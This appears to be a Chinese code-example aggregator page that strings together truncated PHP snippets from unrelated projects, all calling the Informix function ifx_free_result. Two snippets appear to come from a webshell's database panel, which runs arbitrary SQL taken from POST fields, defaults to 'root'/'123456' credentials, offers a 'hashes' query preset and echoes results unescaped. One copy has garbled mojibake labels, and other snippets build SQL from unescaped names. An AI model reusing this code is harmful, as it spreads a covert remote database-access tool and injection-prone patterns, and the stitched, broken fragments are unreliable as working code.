PHP ifx_free_result函数代码示例

 function _close()
 {
     return ifx_free_result($this->_queryID);
 }

 /**
  * Free the internal resources associated with $result.
  *
  * @param $result Informix result identifier
  *
  * @return bool TRUE on success, DB_error on error
  */
 function freeResult($result)
 {
     if (is_resource($result)) {
         if (!@ifx_free_result($result)) {
             return $this->ifxraiseError();
         }
         return true;
     }
     if (!isset($this->prepare_tokens[(int) $result])) {
         return false;
     }
     unset($this->prepare_tokens[(int) $result]);
     unset($this->prepare_types[(int) $result]);
     return true;
 }

 /**
  * Free the internal resources associated with $result.
  *
  * @param $result Informix result identifier
  *
  * @return bool TRUE on success, DB_error on error
  */
 function freeResult($result)
 {
     if (!@ifx_free_result($result)) {
         return $this->ifxraiseError();
     }
     return true;
 }

 function GetSequenceNextValue($name, &$value)
 {
     if (!($result = $this->DoQuery("INSERT INTO _sequence_{$name} (sequence) VALUES (0)", 0, 0, 0))) {
         return 0;
     }
     if (isset($this->options["Use8ByteIntegers"]) && $this->options["Use8ByteIntegers"]) {
         ifx_free_result($result);
         if (!($result = $this->DoQuery("SELECT dbinfo('serial8') FROM _sequence_{$name}"))) {
             return 0;
         }
         $value = intval($this->FetchResult($result, 0, 0));
         $this->FreeResult($result);
         if ($this->auto_commit && isset($this->options["Logging"]) && !strcmp($this->options["Logging"], "ANSI") && !$this->DoQuery("COMMIT")) {
             return 0;
         }
     } else {
         $sqlca = ifx_getsqlca($result);
         $value = $sqlca["sqlerrd1"];
         ifx_free_result($result);
     }
     if (!$this->Query("DELETE FROM _sequence_{$name} WHERE sequence<{$value}")) {
         $this->warning = "could delete previous sequence table values";
     }
     return 1;
 }

 /**
  * Returns information about a table or a result set
  *
  * NOTE: only supports 'table' if <var>$result</var> is a table name.
  *
  * If analyzing a query result and the result has duplicate field names,
  * an error will be raised saying
  * <samp>can't distinguish duplicate field names</samp>.
  *
  * @param object|string  $result  DB_result object from a query or a
  *                                 string containing the name of a table.
  *                                 While this also accepts a query result
  *                                 resource identifier, this behavior is
  *                                 deprecated.
  * @param int            $mode    a valid tableInfo mode
  *
  * @return array  an associative array with the information requested.
  *                 A DB_Error object on failure.
  *
  * @see DB_common::tableInfo()
  * @since Method available since Release 1.6.0
  */
 function tableInfo($result, $mode = null)
 {
     if (is_string($result)) {
         /*
          * Probably received a table name.
          * Create a result resource identifier.
          */
         $id = @ifx_query("SELECT * FROM {$result} WHERE 1=0", $this->connection);
         $got_string = true;
     } elseif (isset($result->result)) {
         /*
          * Probably received a result object.
          * Extract the result resource identifier.
          */
         $id = $result->result;
         $got_string = false;
     } else {
         /*
          * Probably received a result resource identifier.
          * Copy it.
          */
         $id = $result;
         $got_string = false;
     }
     if (!is_resource($id)) {
         return $this->ifxRaiseError(DB_ERROR_NEED_MORE_DATA);
     }
     $flds = @ifx_fieldproperties($id);
     $count = @ifx_num_fields($id);
     if (count($flds) != $count) {
         return $this->raiseError("can't distinguish duplicate field names");
     }
     if ($this->options['portability'] & DB_PORTABILITY_LOWERCASE) {
         $case_func = 'strtolower';
     } else {
         $case_func = 'strval';
     }
     $i = 0;
     $res = array();
     if ($mode) {
         $res['num_fields'] = $count;
     }
     foreach ($flds as $key => $value) {
         $props = explode(';', $value);
         $res[$i] = array('table' => $got_string ? $case_func($result) : '', 'name' => $case_func($key), 'type' => $props[0], 'len' => $props[1], 'flags' => $props[4] == 'N' ? 'not_null' : '');
         if ($mode & DB_TABLEINFO_ORDER) {
             $res['order'][$res[$i]['name']] = $i;
         }
         if ($mode & DB_TABLEINFO_ORDERTABLE) {
             $res['ordertable'][$res[$i]['table']][$res[$i]['name']] = $i;
         }
         $i++;
     }
     // free the result only if we were called on a table
     if ($got_string) {
         @ifx_free_result($id);
     }
     return $res;
 }

//.........这里部分代码省略.........
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�����������</option>
\t<option value="1">���ݿ�</option>
\t<option value="2">����</option>
\t<option value="3">�ֶ�</option>
\t<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($ifxaction == 'ifxquery') {
            $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
            $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
            $ifxrow = ifx_fetch_row($ifxresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n";
            }
            echo "</tr>\n";
            mysql_data_seek($ifxresult, 0);
            while ($ifxrow = ifx_fetch_row($ifxresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                    echo '<td>' . "{$ifxrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ifx_free_result($ifxresult);
            ifx_close();
        }
    } elseif ($db == "db2") {
        $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
        $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
        $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root';
        $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456';
        $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
        $db2action = isset($_POST['action']) ? $_POST['action'] : '';
        $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
        $db2query = stripslashes($db2query);
        print <<<END
<form method="POST" name="db2form" action="?s=gg&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br>
<script language="javascript">
function db2Full(i){
Str = new Array(4);
\tStr[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
\tStr[2] = "select name from sysibm.systables;";
\tStr[3] = "select colname from syscat.columns where tabname='table_name';";
\tStr[4] = "db2 get db cfg for db_name;";
db2form.db2sql.value = Str[i];
return true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">

                                         $cam_ta3 = '';
                                         if ($cam_ta == 'barrio') {
                                             $cam_ta3 = 'municipio' . '_' . $correcto;
                                             $cam_ta2 = '' . 'municipio' . '_' . $correcto;
                                             $cam_ta3 = 'municipio' . '_' . $correcto;
                                         } else {
                                             $cam_ta2 = '' . $cam_ta . '_' . $correcto;
                                             $cam_ta3 = $cam_ta . '_' . $correcto;
                                         }
                                         $stringorderby_1_order[$posorderby_1_order][0] = '' . $cam_ta2;
                                         $stringorderby_1_order[$posorderby_1_order][6] = '#CCFFCC';
                                         $posorderby_1_order = $posorderby_1_order + 1;
                                     }
                                 }
                                 //fin while
                                 ifx_free_result($g_idq);
                             } else {
                                 if ($_SESSION['control_campos_co'] == 8) {
                                     $stringorderby_1_order[$posorderby_1_order][0] = '' . $cam_ta;
                                     $stringorderby_1_order[$posorderby_1_order][6] = '#CAFFCA';
                                     $posorderby_1_order = $posorderby_1_order + 1;
                                 } else {
                                 }
                             }
                         }
                     }
                 }
             }
         }
     }
 }

 function db_free($oStmt)
 {
     return @ifx_free_result($oStmt);
 }

 /**	
  * Free resources associated with a query result set 
  * @param Mixed qHanle		The query handle		 
  */
 public function closeQuery($qHanle)
 {
     @ifx_free_result($qHanle);
 }

//.........这里部分代码省略.........
        <option value="1">dbservername</option>
        <option value="1">databases</option>
        <option value="2">tables</option>
        <option value="3">columns</option>
        <option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($ifxaction == 'ifxquery') {
            $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
            $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
            $ifxrow = ifx_fetch_row($ifxresult);
            echo '<font face="verdana">';
            echo '<table border="1" cellpadding="1" cellspacing="2">';
            echo "\n<tr>\n";
            for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                echo '<td bgcolor="#228B22"><b>' . ifx_fieldproperties($ifxresult);
                echo "</b></td>\n";
            }
            echo "</tr>\n";
            mysql_data_seek($ifxresult, 0);
            while ($ifxrow = ifx_fetch_row($ifxresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                    echo '<td bgcolor="#B8B8E8">';
                    echo "{$ifxrow[$i]}";
                    echo '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table>\n";
            echo "</font>";
            ifx_free_result($ifxresult);
            ifx_close();
        }
    } elseif ($db == "db2") {
        $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
        $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
        $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root';
        $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456';
        $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
        $db2action = isset($_POST['action']) ? $_POST['action'] : '';
        $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
        $db2query = stripslashes($db2query);
        print <<<END
<form method="POST" name="db2form" action="?s=w&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br><br>
<script language="javascript">
function db2Full(i){
\tStr = new Array(4);
        Str[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
        Str[2] = "select name from sysibm.systables;";
        Str[3] = "select colname from syscat.columns where tabname='table_name';";
        Str[4] = "db2 get db cfg for db_name;";
\tdb2form.db2sql.value = Str[i];
\treturn true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">